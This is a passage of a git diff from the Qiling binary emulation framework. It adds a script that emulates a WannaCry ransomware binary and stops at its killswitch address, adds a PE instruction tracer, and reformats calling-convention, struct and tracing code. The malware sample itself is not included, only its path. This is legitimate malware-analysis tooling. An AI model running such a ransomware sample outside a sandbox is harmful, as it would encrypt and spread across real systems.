print(f'killerswtch found')
ql.emu_stop()
if __name__ == "__main__":
ql = Qiling(["rootfs/x86_windows/bin/wannacry.bin"], "rootfs/x86_windows", verbose=QL_VERBOSE.DEBUG)
ql.hook_address(stopatkillerswtich, 0x40819a)
ql.run()
+139
View File
@@ -0,0 +1,139 @@
#!/usr/bin/env python3
#
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
#
import os
import argparse
import pefile
from binascii import hexlify
from capstone import *
import sys
sys.path.append('..')
from qiling import Qiling
from qiling.const import QL_VERBOSE
class colors:
if sys.stdout.isatty():
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
else:
HEADER = ''
BLUE = ''
GREEN = ''
YELLOW = ''
RED = ''
ENDC = ''
BOLD = ''
UNDERLINE = ''
def dump_regs(ql: Qiling):
regs = {
'eax': ql.arch.regs.eax,
'ebx': ql.arch.regs.ebx,
'ecx': ql.arch.regs.ecx,
'edx': ql.arch.regs.edx,
'edi': ql.arch.regs.edi,
'esi': ql.arch.regs.esi,
'ebp': ql.arch.regs.ebp,
'esp': ql.arch.regs.esp
}
if not hasattr(dump_regs, 'regs'):
dump_regs.regs = regs
rtn = ''
# build string in order
for reg in ('eax', 'ebx', 'ecx', 'edx', 'edi', 'esi', 'ebp', 'esp'):
val = '{}: {:08X} '.format(reg.upper(), regs[reg])
if regs[reg] != dump_regs.regs[reg]:
rtn += colors.RED + val + colors.ENDC
else:
rtn += val
dump_regs.regs = regs
return rtn
def spaced_hex(data):
return b' '.join(hexlify(data)[i:i + 2] for i in range(0, len(hexlify(data)), 2)).decode('utf-8')
def disasm(count, ql: Qiling, address: int, size: int):
buf = ql.mem.read(address, size)
try:
for i in md.disasm(buf, address):
return "{:08X}\t{:08X}: {:24s} {:10s} {:16s}".format(count[0], i.address, spaced_hex(buf), i.mnemonic,
i.op_str)
except:
import traceback
print(traceback.format_exc())
def trace(ql: Qiling):
count = [0]
ql.hook_code(trace_cb, count)
def trace_cb(ql: Qiling, address: int, size: int, count):
rtn = '{:100s}'.format(disasm(count, ql, address, size))
if args.reg:
try:
rtn += dump_regs(ql)
except:
import traceback
print(traceback.format_exc())
print(rtn)
count[0] += 1
def emulate(path, rootfs, verbose=QL_VERBOSE.DEBUG, enable_trace=False):
ql = Qiling([path], rootfs, verbose=verbose)
if enable_trace:
trace(ql)
ql.run()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Trace Windows executable')
parser.add_argument("-r", "--reg", help="Dump register values with trace option", action='store_true',
default=False)
parser.add_argument("-t", "--trace", help="Enable full trace", action='store_true', default=False)
parser.add_argument("-R", "--root", help="rootfs", default=None)
parser.add_argument("-d", "--dump", help="Directory to dump memory regions to", default="dump")
parser.add_argument("-p ", "--profile", help="customized profile",
default="qiling/profiles/windows.ql")
parser.add_argument('input', nargs='*')
args = parser.parse_args()
for path in args.input:
pe = pefile.PE(path)
if pe.FILE_HEADER.Machine == 0x14c:
mode = 32
md = Cs(CS_ARCH_X86, CS_MODE_32)
else:
mode = 64
md = Cs(CS_ARCH_X86, CS_MODE_64)
# setup default rootfs if option not provided
if not args.root:
if mode == 32:
args.root = os.path.join(os.getcwd(), 'rootfs', 'x86_windows')
else:
args.root = os.path.join(os.getcwd(), 'rootfs', 'x8664_windows')
emulate(path, args.root, verbose=QL_VERBOSE.DEBUG, enable_trace=args.trace)
+13 -13
View File
@@ -14,20 +14,20 @@ from .vm import BaseVM
from .utils import bytecode_to_bytes, runtime_code_detector
from ..abi import QlArchEVMABI
# Code name Release date Release block Opcode supported
# Code name Release date Release block Opcode supported
# Frontier 2015-07-30 0 Yes
# Ice Age 2015-09-08 200,000 -
# Homestead 2016-03-15 1,150,000 Yes
# DAO Fork (unplanned) 2016-07-20 1,920,000 -
# Tangerine Whistle (unplanned) 2016-10-18 2,463,000 Yes
# Spurious Dragon 2016-11-23 2,675,000 Yes
# Byzantium 2017-10-16 4,370,000 Yes
# Constantinople 2019-02-28 7,280,000 Yes
# Petersburg (unplanned) 2019-02-28 7,280,000 Yes
# Istanbul 2019-12-08 9,069,000 Yes
# Muir Glacier 2020-01-01 9,200,000 Yes
# Berlin TBD TBD Yes
# Frontier 2015-07-30 0 Yes
# Ice Age 2015-09-08 200,000 -
# Homestead 2016-03-15 1,150,000 Yes
# DAO Fork (unplanned) 2016-07-20 1,920,000 -
# Tangerine Whistle (unplanned) 2016-10-18 2,463,000 Yes
# Spurious Dragon 2016-11-23 2,675,000 Yes
# Byzantium 2017-10-16 4,370,000 Yes
# Constantinople 2019-02-28 7,280,000 Yes
# Petersburg (unplanned) 2019-02-28 7,280,000 Yes
# Istanbul 2019-12-08 9,069,000 Yes
# Muir Glacier 2020-01-01 9,200,000 Yes
# Berlin TBD TBD Yes
father_VMs = {
+114 -114
View File
@@ -7,171 +7,171 @@ from typing import Callable, Sequence, Tuple
from qiling.arch.arch import QlArch
class QlCC:
"""Calling convention base class.
"""
"""Calling convention base class.
"""
def __init__(self, arch: QlArch) -> None:
"""Initialize a calling convention instance.
def __init__(self, arch: QlArch) -> None:
"""Initialize a calling convention instance.
Args:
arch: underlying architecture instance
"""
Args:
arch: underlying architecture instance
"""
self.arch = arch
self.arch = arch
@staticmethod
def getNumSlots(argbits: int) -> int:
"""Get the number of slots allocated for an argument of width `argbits`.
"""
@staticmethod
def getNumSlots(argbits: int) -> int:
"""Get the number of slots allocated for an argument of width `argbits`.
"""
raise NotImplementedError
raise NotImplementedError
def getRawParam(self, slot: int, argbits: int = 0) -> int:
"""Read a value of native size from the specified argument slot.
def getRawParam(self, slot: int, argbits: int = 0) -> int:
"""Read a value of native size from the specified argument slot.
Note that argument slots and argument indexes are not the same. Though they often correlate
to each other, some implementations might use more than one slot to represent a sigle argument.
Note that argument slots and argument indexes are not the same. Though they often correlate
to each other, some implementations might use more than one slot to represent a sigle argument.
Args:
slot: argument slot to access
argbits: argument size in bits (default: arch native size)
Args:
slot: argument slot to access
argbits: argument size in bits (default: arch native size)
Returns: raw value
"""
Returns: raw value
"""
raise NotImplementedError
raise NotImplementedError
def setRawParam(self, slot: int, value: int, argbits: int = 0) -> None:
"""Replace the value in the specified argument slot.
def setRawParam(self, slot: int, value: int, argbits: int = 0) -> None:
"""Replace the value in the specified argument slot.
Note that argument slots and argument indexes are not the same. Though they often correlate
to each other, some implementations might use more than one slot to represent a sigle argument.
Note that argument slots and argument indexes are not the same. Though they often correlate
to each other, some implementations might use more than one slot to represent a sigle argument.
Args:
slot: argument slot to access
value: new raw value to write
argbits: argument size in bits (default: arch native size)
"""
Args:
slot: argument slot to access
value: new raw value to write
argbits: argument size in bits (default: arch native size)
"""
raise NotImplementedError
raise NotImplementedError
def getReturnValue(self) -> int:
"""Get function return value.
"""
def getReturnValue(self) -> int:
"""Get function return value.
"""
raise NotImplementedError
raise NotImplementedError
def setReturnValue(self, val: int) -> None:
"""Set function return value.
def setReturnValue(self, val: int) -> None:
"""Set function return value.
Args:
val: a value to set
"""
Args:
val: a value to set
"""
raise NotImplementedError
raise NotImplementedError
def setReturnAddress(self, addr: int) -> None:
"""Set function return address.
def setReturnAddress(self, addr: int) -> None:
"""Set function return address.
Args:
addr: return address to set
"""
Args:
addr: return address to set
"""
raise NotImplementedError
raise NotImplementedError
def reserve(self, nslots: int) -> None:
"""Reserve slots for function arguments.
def reserve(self, nslots: int) -> None:
"""Reserve slots for function arguments.
This may be used to stage a new frame before executing a native function.
This may be used to stage a new frame before executing a native function.
Args:
nslots: number of arg slots to reserve
"""
Args:
nslots: number of arg slots to reserve
"""
raise NotImplementedError
raise NotImplementedError
def unwind(self, nslots: int) -> int:
"""Unwind frame and return from function call.
def unwind(self, nslots: int) -> int:
"""Unwind frame and return from function call.
Args:
nslots: number of arg slots used
Args:
nslots: number of arg slots used
Returns: return address
"""
Returns: return address
"""
raise NotImplementedError
raise NotImplementedError
class QlCommonBaseCC(QlCC):
"""Calling convention base class that implements parameters access through both
registers and the stack. The extending class is resopnsible to implement the rest
of the QlCC interface.
"""
"""Calling convention base class that implements parameters access through both
registers and the stack. The extending class is resopnsible to implement the rest
of the QlCC interface.
"""
_retreg: int
_argregs: Sequence
_shadow = 0
_retaddr_on_stack = True
_retreg: int
_argregs: Sequence
_shadow = 0
_retaddr_on_stack = True
def __init__(self, arch: QlArch):
super().__init__(arch)
def __init__(self, arch: QlArch):
super().__init__(arch)
# native address size in bytes
self._asize = self.arch.pointersize
# native address size in bytes
self._asize = self.arch.pointersize
def __access_param(self, index: int, stack_access: Callable, reg_access: Callable) -> Tuple[Callable, int]:
"""[private] Generic accessor to function call parameters by their index.
def __access_param(self, index: int, stack_access: Callable, reg_access: Callable) -> Tuple[Callable, int]:
"""[private] Generic accessor to function call parameters by their index.
This method will determine whether the parameter should be accessed on the stack or in a
register, and return the appropriate accessor along with the location to access (either a
register id or stack address)
This method will determine whether the parameter should be accessed on the stack or in a
register, and return the appropriate accessor along with the location to access (either a
register id or stack address)
Args:
index: parameter index to access
stack_access: stack accessor method (either read or write)
reg_access: regs accessor method (either read or write)
Args:
index: parameter index to access
stack_access: stack accessor method (either read or write)
reg_access: regs accessor method (either read or write)
Returns: a tuple of the accessor method to use and the location to access
"""
Returns: a tuple of the accessor method to use and the location to access
"""
if index >= len(self._argregs):
raise IndexError(f'tried to access arg {index}, but only {len(self._argregs) - 1} args are supported')
if index >= len(self._argregs):
raise IndexError(f'tried to access arg {index}, but only {len(self._argregs) - 1} args are supported')
reg = self._argregs[index]
reg = self._argregs[index]
# should arg be read from a reg or the stack?
if reg is None:
# get matching stack item
si = index - self._argregs.index(None)
# should arg be read from a reg or the stack?
if reg is None:
# get matching stack item
si = index - self._argregs.index(None)
# skip return address and shadow space
return stack_access, (self._retaddr_on_stack + self._shadow + si) * self._asize
else:
return reg_access, reg
# skip return address and shadow space
return stack_access, (self._retaddr_on_stack + self._shadow + si) * self._asize
else:
return reg_access, reg
def getRawParam(self, index: int, argbits: int = 0) -> int:
read, loc = self.__access_param(index, self.arch.stack_read, self.arch.regs.read)
def getRawParam(self, index: int, argbits: int = 0) -> int:
read, loc = self.__access_param(index, self.arch.stack_read, self.arch.regs.read)
mask = (argbits and (1 << argbits)) - 1
mask = (argbits and (1 << argbits)) - 1
return read(loc) & mask
return read(loc) & mask
def setRawParam(self, index: int, value: int, argbits: int = 0) -> None:
write, loc = self.__access_param(index, self.arch.stack_write, self.arch.regs.write)
def setRawParam(self, index: int, value: int, argbits: int = 0) -> None:
write, loc = self.__access_param(index, self.arch.stack_write, self.arch.regs.write)
mask = (argbits and (1 << argbits)) - 1
mask = (argbits and (1 << argbits)) - 1
write(loc, value & mask)
write(loc, value & mask)
def getReturnValue(self) -> int:
return self.arch.regs.read(self._retreg)
def getReturnValue(self) -> int:
return self.arch.regs.read(self._retreg)
def setReturnValue(self, value: int) -> None:
self.arch.regs.write(self._retreg, value)
def setReturnValue(self, value: int) -> None:
self.arch.regs.write(self._retreg, value)
def reserve(self, nslots: int) -> None:
assert nslots < len(self._argregs), 'too many slots'
def reserve(self, nslots: int) -> None:
assert nslots < len(self._argregs), 'too many slots'
# count how many slots should be reserved on the stack
si = self._argregs[:nslots].count(None)
# count how many slots should be reserved on the stack
si = self._argregs[:nslots].count(None)
self.arch.regs.arch_sp -= (self._shadow + si) * self._asize
self.arch.regs.arch_sp -= (self._shadow + si) * self._asize
+61 -61
View File
@@ -3,104 +3,104 @@
# Cross Platform and Multi Architecture Advanced Binary Emulation Framework
from unicorn.x86_const import (
UC_X86_REG_EAX, UC_X86_REG_RAX, UC_X86_REG_RCX, UC_X86_REG_RDI,
UC_X86_REG_RDX, UC_X86_REG_RSI, UC_X86_REG_R8, UC_X86_REG_R9,
UC_X86_REG_R10
UC_X86_REG_EAX, UC_X86_REG_RAX, UC_X86_REG_RCX, UC_X86_REG_RDI,
UC_X86_REG_RDX, UC_X86_REG_RSI, UC_X86_REG_R8, UC_X86_REG_R9,
UC_X86_REG_R10
)
from qiling.cc import QlCommonBaseCC
class QlIntelBaseCC(QlCommonBaseCC):
"""Calling convention base class for Intel-based systems.
Supports arguments passing over registers and stack.
"""
"""Calling convention base class for Intel-based systems.
Supports arguments passing over registers and stack.
"""
def setReturnAddress(self, addr: int) -> None:
self.arch.stack_push(addr)
def setReturnAddress(self, addr: int) -> None:
self.arch.stack_push(addr)
def unwind(self, nslots: int) -> int:
# no cleanup; just pop out the return address
return self.arch.stack_pop()
def unwind(self, nslots: int) -> int:
# no cleanup; just pop out the return address
return self.arch.stack_pop()
class QlIntel64(QlIntelBaseCC):
"""Calling convention base class for Intel-based 64-bit systems.
"""
"""Calling convention base class for Intel-based 64-bit systems.
"""
_retreg = UC_X86_REG_RAX
_retreg = UC_X86_REG_RAX
@staticmethod
def getNumSlots(argbits: int) -> int:
return max(argbits, 64) // 64
@staticmethod
def getNumSlots(argbits: int) -> int:
return max(argbits, 64) // 64
class QlIntel32(QlIntelBaseCC):
"""Calling convention base class for Intel-based 32-bit systems.
"""
"""Calling convention base class for Intel-based 32-bit systems.
"""
_retreg = UC_X86_REG_EAX
_retreg = UC_X86_REG_EAX
@staticmethod
def getNumSlots(argbits: int) -> int:
return max(argbits, 32) // 32
@staticmethod
def getNumSlots(argbits: int) -> int:
return max(argbits, 32) // 32
def getRawParam(self, slot: int, nbits: int = 0) -> int:
__super_getparam = super().getRawParam
def getRawParam(self, slot: int, nbits: int = 0) -> int:
__super_getparam = super().getRawParam
if nbits == 64:
lo = __super_getparam(slot)
hi = __super_getparam(slot + 1)
if nbits == 64:
lo = __super_getparam(slot)
hi = __super_getparam(slot + 1)
val = (hi << 32) | lo
else:
val = __super_getparam(slot, nbits)
val = (hi << 32) | lo
else:
val = __super_getparam(slot, nbits)
return val
return val
class amd64(QlIntel64):
"""Default calling convention for POSIX (x86-64).
First 6 arguments are passed in regs, the rest are passed on the stack.
"""
"""Default calling convention for POSIX (x86-64).
First 6 arguments are passed in regs, the rest are passed on the stack.
"""
_argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10
_argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_R10, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10
class ms64(QlIntel64):
"""Default calling convention for Windows and UEFI (x86-64).
First 4 arguments are passed in regs, the rest are passed on the stack.
"""Default calling convention for Windows and UEFI (x86-64).
First 4 arguments are passed in regs, the rest are passed on the stack.
Each stack frame starts with a shadow space in size of 4 items, corresponding
to the first arguments passed in regs.
"""
Each stack frame starts with a shadow space in size of 4 items, corresponding
to the first arguments passed in regs.
"""
_argregs = (UC_X86_REG_RCX, UC_X86_REG_RDX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 12
_shadow = 4
_argregs = (UC_X86_REG_RCX, UC_X86_REG_RDX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 12
_shadow = 4
class macosx64(QlIntel64):
"""Default calling convention for Mac OS (x86-64).
First 6 arguments are passed in regs, the rest are passed on the stack.
"""
"""Default calling convention for Mac OS (x86-64).
First 6 arguments are passed in regs, the rest are passed on the stack.
"""
_argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_RCX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10
_argregs = (UC_X86_REG_RDI, UC_X86_REG_RSI, UC_X86_REG_RDX, UC_X86_REG_RCX, UC_X86_REG_R8, UC_X86_REG_R9) + (None, ) * 10
class cdecl(QlIntel32):
"""Calling convention used by all operating systems (x86).
All arguments are passed on the stack.
"""Calling convention used by all operating systems (x86).
All arguments are passed on the stack.
The caller is resopnsible to unwind the stack.
"""
The caller is resopnsible to unwind the stack.
"""
_argregs = (None, ) * 16
_argregs = (None, ) * 16
class stdcall(QlIntel32):
"""Calling convention used by all operating systems (x86).
All arguments are passed on the stack.
"""Calling convention used by all operating systems (x86).
All arguments are passed on the stack.
The callee is resopnsible to unwind the stack.
"""
The callee is resopnsible to unwind the stack.
"""
_argregs = (None, ) * 16
_argregs = (None, ) * 16
def unwind(self, nslots: int) -> int:
retaddr = super().unwind(nslots)
def unwind(self, nslots: int) -> int:
retaddr = super().unwind(nslots)
self.arch.regs.arch_sp += (nslots * self._asize)
self.arch.regs.arch_sp += (nslots * self._asize)
return retaddr
return retaddr
+10 -10
View File
@@ -7,15 +7,15 @@ from unicorn.mips_const import UC_MIPS_REG_V0, UC_MIPS_REG_A0, UC_MIPS_REG_A1, U
from qiling.cc import QlCommonBaseCC
class mipso32(QlCommonBaseCC):
_retreg = UC_MIPS_REG_V0
_argregs = (UC_MIPS_REG_A0, UC_MIPS_REG_A1, UC_MIPS_REG_A2, UC_MIPS_REG_A3) + (None, ) * 12
_shadow = 4
_retaddr_on_stack = False
_retreg = UC_MIPS_REG_V0
_argregs = (UC_MIPS_REG_A0, UC_MIPS_REG_A1, UC_MIPS_REG_A2, UC_MIPS_REG_A3) + (None, ) * 12
_shadow = 4
_retaddr_on_stack = False
@staticmethod
def getNumSlots(argbits: int):
return 1
@staticmethod
def getNumSlots(argbits: int):
return 1
def unwind(self, nslots: int) -> int:
# TODO: stack frame unwiding?
return self.arch.regs.ra
def unwind(self, nslots: int) -> int:
# TODO: stack frame unwiding?
return self.arch.regs.ra
+57 -57
View File
@@ -19,81 +19,81 @@ ReadableBuffer = Union[bytes, bytearray, memoryview]
# Don't assume self is Qiling.
class QlCoreStructs:
def __init__(self, endian: QL_ENDIAN, bit: int):
modifier = {
QL_ENDIAN.EL: '<',
QL_ENDIAN.EB: '>'
}[endian]
def __init__(self, endian: QL_ENDIAN, bit: int):
modifier = {
QL_ENDIAN.EL: '<',
QL_ENDIAN.EB: '>'
}[endian]
self._fmt8 = f'{modifier}B'
self._fmt8s = f'{modifier}b'
self._fmt16 = f'{modifier}H'
self._fmt16s = f'{modifier}h'
self._fmt32 = f'{modifier}I'
self._fmt32s = f'{modifier}i'
self._fmt64 = f'{modifier}Q'
self._fmt64s = f'{modifier}q'
self._fmt8 = f'{modifier}B'
self._fmt8s = f'{modifier}b'
self._fmt16 = f'{modifier}H'
self._fmt16s = f'{modifier}h'
self._fmt32 = f'{modifier}I'
self._fmt32s = f'{modifier}i'
self._fmt64 = f'{modifier}Q'
self._fmt64s = f'{modifier}q'
handlers = {
64 : (self.pack64, self.pack64s, self.unpack64, self.unpack64s),
32 : (self.pack32, self.pack32s, self.unpack32, self.unpack32s),
16 : (self.pack16, self.pack16s, self.unpack16, self.unpack16s),
}
handlers = {
64 : (self.pack64, self.pack64s, self.unpack64, self.unpack64s),
32 : (self.pack32, self.pack32s, self.unpack32, self.unpack32s),
16 : (self.pack16, self.pack16s, self.unpack16, self.unpack16s),
}
if bit not in handlers:
raise QlErrorStructConversion("Unsupported Qiling struct conversion")
if bit not in handlers:
raise QlErrorStructConversion("Unsupported Qiling struct conversion")
p, ps, up, ups = handlers[bit]
p, ps, up, ups = handlers[bit]
self.pack = p
self.packs = ps
self.unpack = up
self.unpacks = ups
self.pack = p
self.packs = ps
self.unpack = up
self.unpacks = ups
def pack64(self, x: int, /) -> bytes:
return struct.pack(self._fmt64, x)
def pack64(self, x: int, /) -> bytes:
return struct.pack(self._fmt64, x)
def pack64s(self, x: int, /) -> bytes:
return struct.pack(self._fmt64s, x)
def pack64s(self, x: int, /) -> bytes:
return struct.pack(self._fmt64s, x)
def unpack64(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt64, x)[0]
def unpack64(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt64, x)[0]
def unpack64s(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt64s, x)[0]
def unpack64s(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt64s, x)[0]
def pack32(self, x: int, /) -> bytes:
return struct.pack(self._fmt32, x)
def pack32(self, x: int, /) -> bytes:
return struct.pack(self._fmt32, x)
def pack32s(self, x: int, /) -> bytes:
return struct.pack(self._fmt32s, x)
def pack32s(self, x: int, /) -> bytes:
return struct.pack(self._fmt32s, x)
def unpack32(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt32, x)[0]
def unpack32(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt32, x)[0]
def unpack32s(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt32s, x)[0]
def unpack32s(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt32s, x)[0]
def pack16(self, x: int, /) -> bytes:
return struct.pack(self._fmt16, x)
def pack16(self, x: int, /) -> bytes:
return struct.pack(self._fmt16, x)
def pack16s(self, x: int, /) -> bytes:
return struct.pack(self._fmt16s, x)
def pack16s(self, x: int, /) -> bytes:
return struct.pack(self._fmt16s, x)
def unpack16(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt16, x)[0]
def unpack16(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt16, x)[0]
def unpack16s(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt16s, x)[0]
def unpack16s(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt16s, x)[0]
def pack8(self, x: int, /) -> bytes:
return struct.pack(self._fmt8, x)
def pack8(self, x: int, /) -> bytes:
return struct.pack(self._fmt8, x)
def pack8s(self, x: int, /) -> bytes:
return struct.pack(self._fmt8s, x)
def pack8s(self, x: int, /) -> bytes:
return struct.pack(self._fmt8s, x)
def unpack8(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt8, x)[0]
def unpack8(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt8, x)[0]
def unpack8s(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt8s, x)[0]
def unpack8s(self, x: ReadableBuffer, /) -> int:
return struct.unpack(self._fmt8s, x)[0]
+147 -147
View File
@@ -15,216 +15,216 @@ TraceRecord = Tuple[CsInsn, Iterable[Tuple[int, int]]]
# <WORKAROUND>
def __uc2_workaround() -> Mapping[int, int]:
"""Starting from Unicorn2, Unicorn and Capstone Intel registers definitions are
no longer aligned and cannot be used interchangebly. This temporary workaround
maps capstone x86 registers definitions to unicorn x86 registers definitions.
"""Starting from Unicorn2, Unicorn and Capstone Intel registers definitions are
no longer aligned and cannot be used interchangebly. This temporary workaround
maps capstone x86 registers definitions to unicorn x86 registers definitions.
see: https://github.com/unicorn-engine/unicorn/issues/1492
"""
see: https://github.com/unicorn-engine/unicorn/issues/1492
"""
from capstone import x86_const as cs_x86_const
from unicorn import x86_const as uc_x86_const
from capstone import x86_const as cs_x86_const
from unicorn import x86_const as uc_x86_const
def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]:
return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix))
def __canonicalized_mapping(module, prefix: str) -> Mapping[str, int]:
return dict((k[len(prefix):], getattr(module, k)) for k in dir(module) if k.startswith(prefix))
cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG')
uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG')
cs_x86_regs = __canonicalized_mapping(cs_x86_const, 'X86_REG')
uc_x86_regs = __canonicalized_mapping(uc_x86_const, 'UC_X86_REG')
return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs)
return dict((cs_x86_regs[k], uc_x86_regs[k]) for k in cs_x86_regs if k in uc_x86_regs)
CS_UC_REGS = __uc2_workaround()
# </WORKAROUND>
def __get_trace_records(ql: Qiling, address: int, size: int, md: Cs) -> Iterator[TraceRecord]:
"""[private] Acquire trace info for the current instruction and yield as a trace record.
A trace record is a parsed instruction paired to a list of registers and their values.
"""[private] Acquire trace info for the current instruction and yield as a trace record.
A trace record is a parsed instruction paired to a list of registers and their values.
This method might yield more than one record for a single instruction.
"""
This method might yield more than one record for a single instruction.
"""
# unicorn denotes unsupported instructions by a magic size value. though these instructions
# are not emulated, capstone can still parse them.
if size == 0xf1f1f1f1:
# note that invalid instructions will generate a StopIteration exception here
yield next(__get_trace_records(ql, address, 16, md))
return
# unicorn denotes unsupported instructions by a magic size value. though these instructions
# are not emulated, capstone can still parse them.
if size == 0xf1f1f1f1:
# note that invalid instructions will generate a StopIteration exception here
yield next(__get_trace_records(ql, address, 16, md))
return
# a trace line is generated even for hook addresses that do not contain meaningful opcodes.
# in that case, make it look like a nop
if address in ql._addr_hook:
buf = b'\x90'
else:
buf = ql.mem.read(address, size)
# a trace line is generated even for hook addresses that do not contain meaningful opcodes.
# in that case, make it look like a nop
if address in ql._addr_hook:
buf = b'\x90'
else:
buf = ql.mem.read(address, size)
for insn in md.disasm(buf, address):
# BUG: insn.regs_read doesn't work well, so we use insn.regs_access()[0]
state = tuple((reg, ql.arch.regs.read(CS_UC_REGS[reg])) for reg in insn.regs_access()[0])
for insn in md.disasm(buf, address):
# BUG: insn.regs_read doesn't work well, so we use insn.regs_access()[0]
state = tuple((reg, ql.arch.regs.read(CS_UC_REGS[reg])) for reg in insn.regs_access()[0])
yield (insn, state)
yield (insn, state)
def __to_trace_line(record: TraceRecord, symsmap: Mapping[int, str] = {}) -> str:
"""[private] Transform trace info into a formatted trace line.
"""
"""[private] Transform trace info into a formatted trace line.
"""
insn, state = record
insn, state = record
# when the rip register is referenced from within an instruction it is expected to point
# to the next instruction boundary. since unicorn has not executed the instruction yet
# is uses the cpu state resulted from the previous instruction - and rip points to the
# current instruction instead of the next one.
#
# here we patch rip value recorded in state to point to the next instruction boundary
state = tuple((reg, val + insn.size if reg == X86_REG_RIP else val) for reg, val in state)
# when the rip register is referenced from within an instruction it is expected to point
# to the next instruction boundary. since unicorn has not executed the instruction yet
# is uses the cpu state resulted from the previous instruction - and rip points to the
# current instruction instead of the next one.
#
# here we patch rip value recorded in state to point to the next instruction boundary
state = tuple((reg, val + insn.size if reg == X86_REG_RIP else val) for reg, val in state)
def __read_reg(reg: int) -> int:
"""[internal] Read a register value from the recorded state. Only registers that were
referenced by the current instruction can be read.
"""
def __read_reg(reg: int) -> int:
"""[internal] Read a register value from the recorded state. Only registers that were
referenced by the current instruction can be read.
"""
return 0 if reg == X86_REG_INVALID else next(v for r, v in state if r == reg)
return 0 if reg == X86_REG_INVALID else next(v for r, v in state if r == reg)
def __resolve(address: int) -> str:
"""[internal] Find the symbol that matches to the specified address (if any).
"""
def __resolve(address: int) -> str:
"""[internal] Find the symbol that matches to the specified address (if any).
"""
return symsmap.get(address, '')
return symsmap.get(address, '')
def __parse_op(op: X86Op) -> str:
"""[internal] Parse an operand and return its string representation. Indirect memory
references will be substitued by the effective address they refer to. If the referenced
address is associated with a symbol, it will be substitued by that symbol.
"""
def __parse_op(op: X86Op) -> str:
"""[internal] Parse an operand and return its string representation. Indirect memory
references will be substitued by the effective address they refer to. If the referenced
address is associated with a symbol, it will be substitued by that symbol.
"""
if op.type == CS_OP_REG:
return insn.reg_name(op.value.reg) or '?'
if op.type == CS_OP_REG:
return insn.reg_name(op.value.reg) or '?'
elif op.type == CS_OP_IMM:
imm = op.value.imm
elif op.type == CS_OP_IMM:
imm = op.value.imm
return __resolve(imm) or f'{imm:#x}'
return __resolve(imm) or f'{imm:#x}'
elif op.type == CS_OP_MEM:
mem = op.value.mem
elif op.type == CS_OP_MEM:
mem = op.value.mem
base = __read_reg(mem.base)
index = __read_reg(mem.index)
scale = mem.scale
disp = mem.disp
base = __read_reg(mem.base)
index = __read_reg(mem.index)
scale = mem.scale
disp = mem.disp
ea = base + index * scale + disp
seg = f'{insn.reg_name(mem.segment)}:' if mem.segment else ''
ea = base + index * scale + disp
seg = f'{insn.reg_name(mem.segment)}:' if mem.segment else ''
# we construct the string representation for each operand; denote memory
# dereferenes with the appropriate 'ptr' prefix. the 'lea' instruction is
# an exception since it does not use that notation.
if insn.id == X86_INS_LEA:
qualifier = f''
else:
ptr = {
1: 'byte',
2: 'word',
4: 'dword',
8: 'qword',
10: 'fword',
16: 'xmmword'
}[op.size]
# we construct the string representation for each operand; denote memory
# dereferenes with the appropriate 'ptr' prefix. the 'lea' instruction is
# an exception since it does not use that notation.
if insn.id == X86_INS_LEA:
qualifier = f''
else:
ptr = {
1: 'byte',
2: 'word',
4: 'dword',
8: 'qword',
10: 'fword',
16: 'xmmword'
}[op.size]
qualifier = f'{ptr} ptr '
qualifier = f'{ptr} ptr '
return f'{qualifier}{seg}[{__resolve(ea) or f"{ea:#x}"}]'
return f'{qualifier}{seg}[{__resolve(ea) or f"{ea:#x}"}]'
# unexpected op type
raise RuntimeError
# unexpected op type
raise RuntimeError
operands = ', '.join(__parse_op(o) for o in insn.operands)
reads = ', '.join(f'{insn.reg_name(reg)} = {val:#x}' for reg, val in state)
operands = ', '.join(__parse_op(o) for o in insn.operands)
reads = ', '.join(f'{insn.reg_name(reg)} = {val:#x}' for reg, val in state)
return f'{insn.address:08x} | {insn.bytes.hex():24s} {insn.mnemonic:10} {operands:56s} | {reads}'
return f'{insn.address:08x} | {insn.bytes.hex():24s} {insn.mnemonic:10} {operands:56s} | {reads}'
def enable_full_trace(ql: Qiling):
"""Enable instruction-level tracing.
"""Enable instruction-level tracing.
Trace line will be emitted for each instruction before it gets executed. The info
includes static data along with the relevant registers state and symbols resolving.
Trace line will be emitted for each instruction before it gets executed. The info
includes static data along with the relevant registers state and symbols resolving.
Args:
ql: qiling instance
"""
Args:
ql: qiling instance
"""
# enable detailed disassembly info
md = ql.arch.disassembler
md.detail = True
# enable detailed disassembly info
md = ql.arch.disassembler
md.detail = True
